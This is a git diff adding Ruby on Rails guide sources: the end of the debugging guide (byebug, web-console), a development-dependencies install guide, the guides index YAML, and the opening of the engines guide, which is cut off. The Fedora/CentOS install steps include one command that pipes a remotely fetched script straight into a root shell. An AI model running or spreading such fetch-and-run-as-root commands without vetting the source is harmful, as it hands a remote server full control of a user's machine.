`where`) to print +the backtrace of the application. This can be very helpful to know how you got +where you are. If you ever wondered about how you got somewhere in your code, +then `backtrace` will supply the answer. + +``` +(byebug) where +--> #0 ArticlesController.index + at /PathToProject/app/controllers/articles_controller.rb:8 + #1 ActionController::BasicImplicitRender.send_action(method#String, *args#Array) + at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/basic_implicit_render.rb:4 + #2 AbstractController::Base.process_action(action#NilClass, *args#Array) + at /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb:181 + #3 ActionController::Rendering.process_action(action, *args) + at /PathToGems/actionpack-5.1.0/lib/action_controller/metal/rendering.rb:30 +... +``` + +The current frame is marked with `-->`. You can move anywhere you want in this +trace (thus changing the context) by using the `frame n` command, where _n_ is +the specified frame number. If you do that, `byebug` will display your new +context. + +``` +(byebug) frame 2 + +[176, 185] in /PathToGems/actionpack-5.1.0/lib/abstract_controller/base.rb + 176: # is the intended way to override action dispatching. + 177: # + 178: # Notice that the first argument is the method to be dispatched + 179: # which is *not* necessarily the same as the action name. + 180: def process_action(method_name, *args) +=> 181: send_action(method_name, *args) + 182: end + 183: + 184: # Actually call the method associated with the action. Override + 185: # this method if you wish to change how action methods are called, +(byebug) +``` + +The available variables are the same as if you were running the code line by +line. After all, that's what debugging is. + +You can also use `up [n]` and `down [n]` commands in order to change the context +_n_ frames up or down the stack respectively. _n_ defaults to one. Up in this +case is towards higher-numbered stack frames, and down is towards lower-numbered +stack frames. + +### Threads + +The debugger can list, stop, resume, and switch between running threads by using +the `thread` command (or the abbreviated `th`). This command has a handful of +options: + +* `thread`: shows the current thread. +* `thread list`: is used to list all threads and their statuses. The current +thread is marked with a plus (+) sign. +* `thread stop n`: stops thread _n_. +* `thread resume n`: resumes thread _n_. +* `thread switch n`: switches the current thread context to _n_. + +This command is very helpful when you are debugging concurrent threads and need +to verify that there are no race conditions in your code. + +### Inspecting Variables + +Any expression can be evaluated in the current context. To evaluate an +expression, just type it! + +This example shows how you can print the instance variables defined within the +current context: + +``` +[3, 12] in /PathTo/project/app/controllers/articles_controller.rb + 3: + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: byebug +=> 8: @articles = Article.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @articles } + +(byebug) instance_variables +[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context, + :@_action_name, :@_response_body, :@marked_for_same_origin_verification, + :@_config] +``` + +As you may have figured out, all of the variables that you can access from a +controller are displayed. This list is dynamically updated as you execute code. +For example, run the next line using `next` (you'll learn more about this +command later in this guide). + +``` +(byebug) next + +[5, 14] in /PathTo/project/app/controllers/articles_controller.rb + 5 # GET /articles.json + 6 def index + 7 byebug + 8 @articles = Article.find_recent + 9 +=> 10 respond_to do |format| + 11 format.html # index.html.erb + 12 format.json { render json: @articles } + 13 end + 14 end + 15 +(byebug) +``` + +And then ask again for the instance_variables: + +``` +(byebug) instance_variables +[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context, + :@_action_name, :@_response_body, :@marked_for_same_origin_verification, + :@_config, :@articles] +``` + +Now `@articles` is included in the instance variables, because the line defining +it was executed. + +TIP: You can also step into **irb** mode with the command `irb` (of course!). +This will start an irb session within the context you invoked it. + +The `var` method is the most convenient way to show variables and their values. +Let's have `byebug` help us with it. + +``` +(byebug) help var + + [v]ar <subcommand> + + Shows variables and its values + + + var all -- Shows local, global and instance variables of self. + var args -- Information about arguments of the current scope + var const -- Shows constants of an object. + var global -- Shows global variables. + var instance -- Shows instance variables of self or a specific object. + var local -- Shows local variables in current scope. + +``` + +This is a great way to inspect the values of the current context variables. For +example, to check that we have no local variables currently defined: + +``` +(byebug) var local +(byebug) +``` + +You can also inspect for an object method this way: + +``` +(byebug) var instance Article.new +@_start_transaction_state = {} +@aggregation_cache = {} +@association_cache = {} +@attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @attributes={"id"=>#<ActiveRecord::Attribute::FromDatabase:0x007fd0682a9a00 @name="id", @value_be... +@destroyed = false +@destroyed_by_association = nil +@marked_for_destruction = false +@new_record = true +@readonly = false +@transaction_state = nil +``` + +You can also use `display` to start watching variables. This is a good way of +tracking the values of a variable while the execution goes on. + +``` +(byebug) display @articles +1: @articles = nil +``` + +The variables inside the displayed list will be printed with their values after +you move in the stack. To stop displaying a variable use `undisplay n` where +_n_ is the variable number (1 in the last example). + +### Step by Step + +Now you should know where you are in the running trace and be able to print the +available variables. But let's continue and move on with the application +execution. + +Use `step` (abbreviated `s`) to continue running your program until the next +logical stopping point and return control to the debugger. `next` is similar to +`step`, but while `step` stops at the next line of code executed, doing just a +single step, `next` moves to the next line without descending inside methods. + +For example, consider the following situation: + +``` +Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200 +Processing by ArticlesController#index as HTML + +[1, 6] in /PathToProject/app/models/article.rb + 1: class Article < ApplicationRecord + 2: def self.find_recent(limit = 10) + 3: byebug +=> 4: where('created_at > ?', 1.week.ago).limit(limit) + 5: end + 6: end + +(byebug) +``` + +If we use `next`, we won't go deep inside method calls. Instead, `byebug` will +go to the next line within the same context. In this case, it is the last line +of the current method, so `byebug` will return to the next line of the caller +method. + +``` +(byebug) next +[4, 13] in /PathToProject/app/controllers/articles_controller.rb + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: @articles = Article.find_recent + 8: +=> 9: respond_to do |format| + 10: format.html # index.html.erb + 11: format.json { render json: @articles } + 12: end + 13: end + +(byebug) +``` + +If we use `step` in the same situation, `byebug` will literally go to the next +Ruby instruction to be executed -- in this case, Active Support's `week` method. + +``` +(byebug) step + +[49, 58] in /PathToGems/activesupport-5.1.0/lib/active_support/core_ext/numeric/time.rb + 49: + 50: # Returns a Duration instance matching the number of weeks provided. + 51: # + 52: # 2.weeks # => 14 days + 53: def weeks +=> 54: ActiveSupport::Duration.weeks(self) + 55: end + 56: alias :week :weeks + 57: + 58: # Returns a Duration instance matching the number of fortnights provided. +(byebug) +``` + +This is one of the best ways to find bugs in your code. + +TIP: You can also use `step n` or `next n` to move forward `n` steps at once. + +### Breakpoints + +A breakpoint makes your application stop whenever a certain point in the program +is reached. The debugger shell is invoked in that line. + +You can add breakpoints dynamically with the command `break` (or just `b`). +There are 3 possible ways of adding breakpoints manually: + +* `break n`: set breakpoint in line number _n_ in the current source file. +* `break file:n [if expression]`: set breakpoint in line number _n_ inside +file named _file_. If an _expression_ is given it must evaluated to _true_ to +fire up the debugger. +* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and +\# for class and instance method respectively) defined in _class_. The +_expression_ works the same way as with file:n. + +For example, in the previous situation + +``` +[4, 13] in /PathToProject/app/controllers/articles_controller.rb + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: @articles = Article.find_recent + 8: +=> 9: respond_to do |format| + 10: format.html # index.html.erb + 11: format.json { render json: @articles } + 12: end + 13: end + +(byebug) break 11 +Successfully created breakpoint with id 1 + +``` + +Use `info breakpoints` to list breakpoints. If you supply a number, it lists +that breakpoint. Otherwise it lists all breakpoints. + +``` +(byebug) info breakpoints +Num Enb What +1 y at /PathToProject/app/controllers/articles_controller.rb:11 +``` + +To delete breakpoints: use the command `delete n` to remove the breakpoint +number _n_. If no number is specified, it deletes all breakpoints that are +currently active. + +``` +(byebug) delete 1 +(byebug) info breakpoints +No breakpoints. +``` + +You can also enable or disable breakpoints: + +* `enable breakpoints [n [m [...]]]`: allows a specific breakpoint list or all +breakpoints to stop your program. This is the default state when you create a +breakpoint. +* `disable breakpoints [n [m [...]]]`: make certain (or all) breakpoints have +no effect on your program. + +### Catching Exceptions + +The command `catch exception-name` (or just `cat exception-name`) can be used to +intercept an exception of type _exception-name_ when there would otherwise be no +handler for it. + +To list all active catchpoints use `catch`. + +### Resuming Execution + +There are two ways to resume execution of an application that is stopped in the +debugger: + +* `continue [n]`: resumes program execution at the address where your script last +stopped; any breakpoints set at that address are bypassed. The optional argument +`n` allows you to specify a line number to set a one-time breakpoint which is +deleted when that breakpoint is reached. +* `finish [n]`: execute until the selected stack frame returns. If no frame +number is given, the application will run until the currently selected frame +returns. The currently selected frame starts out the most-recent frame or 0 if +no frame positioning (e.g up, down, or frame) has been performed. If a frame +number is given it will run until the specified frame returns. + +### Editing + +Two commands allow you to open code from the debugger into an editor: + +* `edit [file:n]`: edit file named _file_ using the editor specified by the +EDITOR environment variable. A specific line _n_ can also be given. + +### Quitting + +To exit the debugger, use the `quit` command (abbreviated to `q`). Or, type `q!` +to bypass the `Really quit? (y/n)` prompt and exit unconditionally. + +A simple quit tries to terminate all threads in effect. Therefore your server +will be stopped and you will have to start it again. + +### Settings + +`byebug` has a few available options to tweak its behavior: + +``` +(byebug) help set + + set <setting> <value> + + Modifies byebug settings + + Boolean values take "on", "off", "true", "false", "1" or "0". If you + don't specify a value, the boolean setting will be enabled. Conversely, + you can use "set no<setting>" to disable them. + + You can see these environment settings with the "show" command. + + List of supported settings: + + autosave -- Automatically save command history record on exit + autolist -- Invoke list command on every stop + width -- Number of characters per line in byebug's output + autoirb -- Invoke IRB on every stop + basename -- <file>:<line> information after every stop uses short paths + linetrace -- Enable line execution tracing + autopry -- Invoke Pry on every stop + stack_on_error -- Display stack trace when `eval` raises an exception + fullpath -- Display full file names in backtraces + histfile -- File where cmd history is saved to. Default: ./.byebug_history + listsize -- Set number of source lines to list by default + post_mortem -- Enable/disable post-mortem mode + callstyle -- Set how you want method call parameters to be displayed + histsize -- Maximum number of commands that can be stored in byebug history + savefile -- File where settings are saved to. Default: ~/.byebug_save +``` + +TIP: You can save these settings in an `.byebugrc` file in your home directory. +The debugger reads these global settings when it starts. For example: + +```bash +set callstyle short +set listsize 25 +``` + +Debugging with the `web-console` gem +------------------------------------ + +Web Console is a bit like `byebug`, but it runs in the browser. In any page you +are developing, you can request a console in the context of a view or a +controller. The console would be rendered next to your HTML content. + +### Console + +Inside any controller action or view, you can invoke the console by +calling the `console` method. + +For example, in a controller: + +```ruby +class PostsController < ApplicationController + def new + console + @post = Post.new + end +end +``` + +Or in a view: + +```html+erb +<% console %> + +<h2>New Post</h2> +``` + +This will render a console inside your view. You don't need to care about the +location of the `console` call; it won't be rendered on the spot of its +invocation but next to your HTML content. + +The console executes pure Ruby code: You can define and instantiate +custom classes, create new models, and inspect variables. + +NOTE: Only one console can be rendered per request. Otherwise `web-console` +will raise an error on the second `console` invocation. + +### Inspecting Variables + +You can invoke `instance_variables` to list all the instance variables +available in your context. If you want to list all the local variables, you can +do that with `local_variables`. + +### Settings + +* `config.web_console.whitelisted_ips`: Authorized list of IPv4 or IPv6 +addresses and networks (defaults: `127.0.0.1/8, ::1`). +* `config.web_console.whiny_requests`: Log a message when a console rendering +is prevented (defaults: `true`). + +Since `web-console` evaluates plain Ruby code remotely on the server, don't try +to use it in production. + +Debugging Memory Leaks +---------------------- + +A Ruby application (on Rails or not), can leak memory — either in the Ruby code +or at the C code level. + +In this section, you will learn how to find and fix such leaks by using tool +such as Valgrind. + +### Valgrind + +[Valgrind](http://valgrind.org/) is an application for detecting C-based memory +leaks and race conditions. + +There are Valgrind tools that can automatically detect many memory management +and threading bugs, and profile your programs in detail. For example, if a C +extension in the interpreter calls `malloc()` but doesn't properly call +`free()`, this memory won't be available until the app terminates. + +For further information on how to install Valgrind and use with Ruby, refer to +[Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) +by Evan Weaver. + +Plugins for Debugging +--------------------- + +There are some Rails plugins to help you to find errors and debug your +application. Here is a list of useful plugins for debugging: + +* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has +footnotes that give request information and link back to your source via +TextMate. +* [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master) Adds query +origin tracing to your logs. +* [Query Reviewer](https://github.com/nesquena/query_reviewer) This Rails plugin +not only runs "EXPLAIN" before each of your select queries in development, but +provides a small DIV in the rendered output of each page with the summary of +warnings for each query that it analyzed. +* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) +Provides a mailer object and a default set of templates for sending email +notifications when errors occur in a Rails application. +* [Better Errors](https://github.com/charliesome/better_errors) Replaces the +standard Rails error page with a new one containing more contextual information, +like source code and variable inspection. +* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails +development that will end your tailing of development.log. Have all information +about your Rails app requests in the browser — in the Developer Tools panel. +Provides insight to db/rendering/total times, parameter list, rendered views and +more. +* [Pry](https://github.com/pry/pry) An IRB alternative and runtime developer console. + +References +---------- + +* [byebug Homepage](https://github.com/deivid-rodriguez/byebug) +* [web-console Homepage](https://github.com/rails/web-console) diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md new file mode 100644 index 0000000000..b3baf726e3 --- /dev/null +++ b/guides/source/development_dependencies_install.md @@ -0,0 +1,259 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Development Dependencies Install +================================ + +This guide covers how to setup an environment for Ruby on Rails core development. + +After reading this guide, you will know: + +* How to set up your machine for Rails development + +-------------------------------------------------------------------------------- + +The Easy Way +------------ + +The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box). + +The Hard Way +------------ + +In case you can't use the Rails development box, see the steps below to manually +build a development box for Ruby on Rails core development. + +### Install Git + +Ruby on Rails uses Git for source code control. The [Git homepage](https://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git: + +* [Try Git course](https://try.github.io/) is an interactive course that will teach you the basics. +* The [official Documentation](https://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git. +* [Everyday Git](https://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by. +* [GitHub](https://help.github.com/) offers links to a variety of Git resources. +* [Pro Git](https://git-scm.com/book) is an entire book about Git with a Creative Commons license. + +### Clone the Ruby on Rails Repository + +Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run: + +```bash +$ git clone https://github.com/rails/rails.git +$ cd rails +``` + +### Install Additional Tools and Services + +Some Rails tests depend on additional tools that you need to install before running those specific tests. + +Here's the list of each gems' additional dependencies: + +* Action Cable depends on Redis +* Active Record depends on SQLite3, MySQL and PostgreSQL +* Active Storage depends on Yarn (additionally Yarn depends on + [Node.js](https://nodejs.org/)), ImageMagick, FFmpeg, muPDF, and on macOS + also XQuartz and Poppler. +* Active Support depends on memcached and Redis +* Railties depend on a JavaScript runtime environment, such as having + [Node.js](https://nodejs.org/) installed. + +Install all the services you need to properly test the full gem you'll be +making changes to. + +NOTE: Redis' documentation discourage installations with package managers as those are usually outdated. Installing from source and bringing the server up is straight forward and well documented on [Redis' documentation](https://redis.io/download#installation). + +NOTE: Active Record tests _must_ pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against single adapter. + +Below you can find instructions on how to install all of the additional +tools for different OSes. + +#### macOS + +On macOS you can use [Homebrew](https://brew.sh/) to install all of the +additional tools. + +To install all run: + +```bash +$ brew bundle +``` + +You'll also need to start each of the installed services. To list all +available services run: + +```bash +$ brew services list +``` + +You can then start each of the services one by one like this: + +```bash +$ brew services start mysql +``` + +Replace `mysql` with the name of the service you want to start. + +#### Ubuntu + +To install all run: + +```bash +$ sudo apt-get update +$ sudo apt-get install sqlite3 libsqlite3-dev + mysql-server libmysqlclient-dev + postgresql postgresql-client postgresql-contrib libpq-dev + redis-server memcached imagemagick ffmpeg mupdf mupdf-tools + +# Install Yarn +$ curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - +$ echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list +$ sudo apt-get install yarn +``` + +#### Fedora or CentOS + +To install all run: + +```bash +$ sudo dnf install sqlite-devel sqlite-libs + mysql-server mysql-devel + postgresql-server postgresql-devel + redis memcached imagemagick ffmpeg mupdf + +# Install Yarn +# Use this command if you do not have Node.js installed +$ curl --silent --location https://rpm.nodesource.com/setup_8.x | sudo bash - +# If you have Node.js installed, use this command instead +$ curl --silent --location https://dl.yarnpkg.com/rpm/yarn.repo | sudo tee /etc/yum.repos.d/yarn.repo +$ sudo dnf install yarn +``` + +#### Arch Linux + +To install all run: + +```bash +$ sudo pacman -S sqlite + mariadb libmariadbclient mariadb-clients + postgresql postgresql-libs + redis memcached imagemagick ffmpeg mupdf mupdf-tools poppler + yarn +$ sudo systemctl start redis +``` + +NOTE: If you are running Arch Linux, MySQL isn't supported anymore so you will need to +use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)). + +#### FreeBSD + +To install all run: + +```bash +# pkg install sqlite3 + mysql80-client mysql80-server + postgresql11-client postgresql11-server + memcached imagemagick ffmpeg mupdf + yarn +# portmaster databases/redis +``` + +Or install everything through ports (these packages are located under the +`databases` folder). + +NOTE: If you run into troubles during the installation of MySQL, please see +[the MySQL documentation](https://dev.mysql.com/doc/refman/8.0/en/freebsd-installation.html). + +### Database Configuration + +There are couple of additional steps required to configure database engines +required for running Active Record tests. + +In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases: + +```bash +$ mysql -uroot -p + +mysql> CREATE USER 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.* + to 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.* + to 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.* + to 'rails'@'localhost'; +``` + +PostgreSQL's authentication works differently. To setup the development environment +with your development account, on Linux or BSD, you just have to run: + +```bash +$ sudo -u postgres createuser --superuser $USER +``` + +and for macOS: + +```bash +$ createuser --superuser $USER +``` + +Then, you need to create the test databases for both MySQL and PostgreSQL with: + +```bash +$ cd activerecord +$ bundle exec rake db:create +``` + +NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator". + +You can also create test databases for each database engine separately: + +```bash +$ cd activerecord +$ bundle exec rake db:mysql:build +$ bundle exec rake db:postgresql:build +``` + +and you can drop the databases using: + +```bash +$ cd activerecord +$ bundle exec rake db:drop +``` + +NOTE: Using the Rake task to create the test databases ensures they have the correct character set and collation. + +If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. + +### Install JavaScript dependencies + +If you installed Yarn, you will need to install the javascript dependencies: + +```bash +$ cd activestorage +$ yarn install +``` + +### Install Bundler gem + +Get a recent version of [Bundler](https://bundler.io/) + +```bash +$ gem install bundler +$ gem update bundler +``` + +and run: + +```bash +$ bundle install +``` + +or: + +```bash +$ bundle install --without db +``` + +if you don't need to run Active Record tests. + +### Contribute to Rails + +After you've setup everything, read how you can start [contributing](contributing_to_ruby_on_rails.html#running-an-application-against-your-local-branch). diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml new file mode 100644 index 0000000000..25c159d471 --- /dev/null +++ b/guides/source/documents.yaml @@ -0,0 +1,252 @@ +- + name: Start Here + documents: + - + name: Getting Started with Rails + url: getting_started.html + description: Everything you need to know to install Rails and create your first application. +- + name: Models + documents: + - + name: Active Record Basics + url: active_record_basics.html + description: This guide will get you started with models, persistence to database, and the Active Record pattern and library. + - + name: Active Record Migrations + url: active_record_migrations.html + description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. + - + name: Active Record Validations + url: active_record_validations.html + description: This guide covers how you can use Active Record validations. + - + name: Active Record Callbacks + url: active_record_callbacks.html + description: This guide covers how you can use Active Record callbacks. + - + name: Active Record Associations + url: association_basics.html + description: This guide covers all the associations provided by Active Record. + - + name: Active Record Query Interface + url: active_record_querying.html + description: This guide covers the database query interface provided by Active Record. + - + name: Active Model Basics + url: active_model_basics.html + description: This guide covers the use of model classes without Active Record. + work_in_progress: true +- + name: Views + documents: + - + name: Action View Overview + url: action_view_overview.html + description: This guide provides an introduction to Action View and introduces a few of the more common view helpers. + work_in_progress: true + - + name: Layouts and Rendering in Rails + url: layouts_and_rendering.html + description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials. + - + name: Action View Form Helpers + url: form_helpers.html + description: Guide to using built-in Form helpers. +- + name: Controllers + documents: + - + name: Action Controller Overview + url: action_controller_overview.html + description: This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics. + - + name: Rails Routing from the Outside In + url: routing.html + description: This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here. +- + name: Other Components + documents: + - + name: Active Support Core Extensions + url: active_support_core_extensions.html + description: This guide documents the Ruby core extensions defined in Active Support. + - + name: Action Mailer Basics + url: action_mailer_basics.html + description: This guide describes how to use Action Mailer to send and receive emails. + - + name: Active Job Basics + url: active_job_basics.html + description: This guide provides you with all you need to get started creating, enqueuing, and executing background jobs. + - + name: Active Storage Overview + url: active_storage_overview.html + description: This guide covers how to attach files to your Active Record models. + - + name: Action Cable Overview + url: action_cable_overview.html + description: This guide explains how Action Cable works, and how to use WebSockets to create real-time features. + +- + name: Digging Deeper + documents: + - + name: Rails Internationalization (I18n) API + url: i18n.html + description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country, and so on. + - + name: Testing Rails Applications + url: testing.html + description: This is a rather comprehensive guide to the various testing facilities in Rails. It covers everything from 'What is a test?' to Integration Testing. Enjoy. + - + name: Securing Rails Applications + url: security.html + description: This guide describes common security problems in web applications and how to avoid them with Rails. + - + name: Debugging Rails Applications + url: debugging_rails_applications.html + description: This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code. + - + name: Configuring Rails Applications + url: configuring.html + description: This guide covers the basic configuration settings for a Rails application. + - + name: The Rails Command Line + url: command_line.html + description: This guide covers the command line tools provided by Rails. + - + name: The Asset Pipeline + url: asset_pipeline.html + description: This guide documents the asset pipeline. + - + name: Working with JavaScript in Rails + url: working_with_javascript_in_rails.html + description: This guide covers the built-in Ajax/JavaScript functionality of Rails. + - + name: The Rails Initialization Process + work_in_progress: true + url: initialization.html + description: This guide explains the internals of the Rails initialization process. + - + name: Autoloading and Reloading Constants + url: autoloading_and_reloading_constants.html + description: This guide documents how autoloading and reloading constants work. + - + name: "Caching with Rails: An Overview" + url: caching_with_rails.html + description: This guide is an introduction to speeding up your Rails application with caching. + - + name: Active Support Instrumentation + work_in_progress: true + url: active_support_instrumentation.html + description: This guide explains how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code. + - + name: Using Rails for API-only Applications + url: api_app.html + description: This guide explains how to effectively use Rails to develop a JSON API application. + +- + name: Extending Rails + documents: + - + name: The Basics of Creating Rails Plugins + work_in_progress: true + url: plugins.html + description: This guide covers how to build a plugin to extend the functionality of Rails. + - + name: Rails on Rack + url: rails_on_rack.html + description: This guide covers Rails integration with Rack and interfacing with other Rack components. + - + name: Creating and Customizing Rails Generators & Templates + url: generators.html + description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator). + - + name: Getting Started with Engines + url: engines.html + description: This guide explains how to write a mountable engine. + work_in_progress: true + - + name: Threading and Code Execution in Rails + url: threading_and_code_execution.html + description: This guide describes the considerations needed and tools available when working directly with concurrency in a Rails application. + work_in_progress: true +- + name: Contributions + documents: + - + name: Contributing to Ruby on Rails + url: contributing_to_ruby_on_rails.html + description: Rails is not 'somebody else's framework.' This guide covers a variety of ways that you can get involved in the ongoing development of Rails. + - + name: API Documentation Guidelines + url: api_documentation_guidelines.html + description: This guide documents the Ruby on Rails API documentation guidelines. + - + name: Guides Guidelines + url: ruby_on_rails_guides_guidelines.html + description: This guide documents the Ruby on Rails guides guidelines. +- + name: Policies + documents: + - + name: Maintenance Policy + url: maintenance_policy.html + description: What versions of Ruby on Rails are currently supported, and when to expect new versions. +- + name: Release Notes + documents: + - + name: Upgrading Ruby on Rails + url: upgrading_ruby_on_rails.html + description: This guide helps in upgrading applications to latest Ruby on Rails versions. + - + name: 6.0 Release Notes + work_in_progress: true + url: 6_0_release_notes.html + description: Release notes for Rails 6.0. + - + name: Version 5.2 - April 2018 + url: 5_2_release_notes.html + description: Release notes for Rails 5.2. + - + name: Version 5.1 - April 2017 + url: 5_1_release_notes.html + description: Release notes for Rails 5.1. + - + name: Version 5.0 - June 2016 + url: 5_0_release_notes.html + description: Release notes for Rails 5.0. + - + name: Version 4.2 - December 2014 + url: 4_2_release_notes.html + description: Release notes for Rails 4.2. + - + name: Version 4.1 - April 2014 + url: 4_1_release_notes.html + description: Release notes for Rails 4.1. + - + name: Version 4.0 - June 2013 + url: 4_0_release_notes.html + description: Release notes for Rails 4.0. + - + name: Version 3.2 - January 2012 + url: 3_2_release_notes.html + description: Release notes for Rails 3.2. + - + name: Version 3.1 - August 2011 + url: 3_1_release_notes.html + description: Release notes for Rails 3.1. + - + name: Version 3.0 - August 2010 + url: 3_0_release_notes.html + description: Release notes for Rails 3.0. + - + name: Version 2.3 - March 2009 + url: 2_3_release_notes.html + description: Release notes for Rails 2.3. + - + name: Version 2.2 - November 2008 + url: 2_2_release_notes.html + description: Release notes for Rails 2.2. diff --git a/guides/source/engines.md b/guides/source/engines.md new file mode 100644 index 0000000000..1e93a19c84 --- /dev/null +++ b/guides/source/engines.md @@ -0,0 +1,1531 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Getting Started with Engines +============================ + +In this guide you will learn about engines and how they can be used to provide +additional functionality to their host applications through a clean and very +easy-to-use interface. + +After reading this guide, you will know: + +* What makes an engine. +* How to generate an engine. +* How to build features for the engine. +* How to hook the engine into an application. +* How to override engine functionality in the application. +* Avoid loading Rails frameworks with Load and Configuration Hooks + +-------------------------------------------------------------------------------- + +What are engines? +----------------- + +Engines can be considered miniature applications that provide functionality to +their host applications. A Rails application is actually just a "supercharged" +engine, with the `Rails::Application` class inheriting a lot of its behavior +from `Rails::Engine`. + +Therefore, engines and applications can be thought of as almost the same thing, +just with subtle differences, as you'll see throughout this guide. Engines and +applications also share a common structure. + +Engines are also closely related to plugins. The two share a common `lib` +directory structure, and are both generated using the `rails plugin new` +generator. The difference is that an engine is considered a "full plugin" by +Rails (as indicated by the `--full` option that's passed to the generator +command). We'll actually be using the `--mountable` option here, which includes +all the features of `--full`, and then some. This guide will refer to these +"full plugins" simply as "engines" throughout. An engine **can** be a plugin, +and a plugin **can** be an engine. + +The engine that will be created in this guide will be called "blorgh". This +engine will provide blogging functionality to its host applications, allowing +for new articles and comments to be created. At the beginning of this guide, you +will be working solely within the engine itself, but in later sections you'll +see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an +application is able to have a path provided by a routing helper such as +`articles_path` and use an engine that also provides a path also called +`articles_path`, and the two would not clash. Along with this, controllers, models +and table names are also namespaced. You'll see how to do this later in this +guide. + +It's important to keep in mind at all times that the application should +**always** take precedence over its engines. An application is the object that +has final say in what goes on in its environment. The engine should +only be enhancing it, rather than changing it drastically. + +To see demonstrations of other engines, check out +[Devise](https://github.com/plataformatec/devise), an engine that provides +authentication for its parent applications, or +[Thredded](https://github.com/thredded/thredded), an engine that provides forum +functionality. There's also [Spree](https://github.com/spree/spree) which +provides an e-commerce platform, and +[Refinery CMS](https://github.com/refinery/refinerycms), a CMS engine. + +Finally, engines would not have been possible without the work of James Adam, +Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever +meet them, don't forget to say thanks! + +Generating an engine +-------------------- + +To generate an engine, you will need to run the plugin generator and pass it +options as appropriate to the need. For the "blorgh" example, you will need to +create a "mountable" engine, running this command in a terminal: + +```bash +$ rails plugin new blorgh --mountable +``` + +The full list of options for the plugin generator may be seen by typing: + +```bash +$ rails plugin --help +``` + +The `--mountable` option tells the generator that you want to create a +"mountable" and namespace-isolated engine. This generator will provide the same +skeleton structure as would the `--full` option. The `--full` option tells the +generator that you want to create an engine, including a skeleton structure +that provides the following: + + * An `app` directory tree + * A `config/routes.rb` file: + + ```ruby + Rails.application.routes.draw do + end + ``` + + * A file at `lib/blorgh/engine.rb`, which is identical in function to a + standard Rails application's `config/application.rb` file: + + ```ruby + module Blorgh + class Engine < ::Rails::Engine + end + end + ``` + +The `--mountable` option will add to the `--full` option: + + * Asset manifest files (`application.js` and `application.css`) + * A namespaced `ApplicationController` stub + * A namespaced `ApplicationHelper` stub + * A layout view template for the engine + * Namespace isolation to `config/routes.rb`: + + ```ruby + Blorgh::Engine.routes.draw do + end + ``` + + * Namespace isolation to `lib/blorgh/engine.rb`: + + ```ruby + module Blorgh + class Engine < ::Rails::Engine + isolate_namespace Blorgh + end + end + ``` + +Additionally, the `--mountable` option tells the generator to mount the engine +inside the dummy testing application located at `test/dummy` by adding the +following to the dummy application's routes file at +`test/dummy/config/routes.rb`: + +```ruby +mount Blorgh::Engine => "/blorgh" +``` + +### Inside an Engine + +#### Critical Files + +At the root of this brand new engine's directory lives a `blorgh.gemspec` file. +When you include the engine into an application later on, you will do so with +this line in the Rails application's `Gemfile`: + +```ruby +gem 'blorgh', path: 'engines/blorgh' +``` + +Don't forget to run `bundle install` as usual. By specifying it as a gem within +the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file +and requiring a file within the `lib` directory called `lib/blorgh.rb`. This +file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) +and defines a base module called `Blorgh`. + +```ruby +require "blorgh/engine" + +module Blorgh 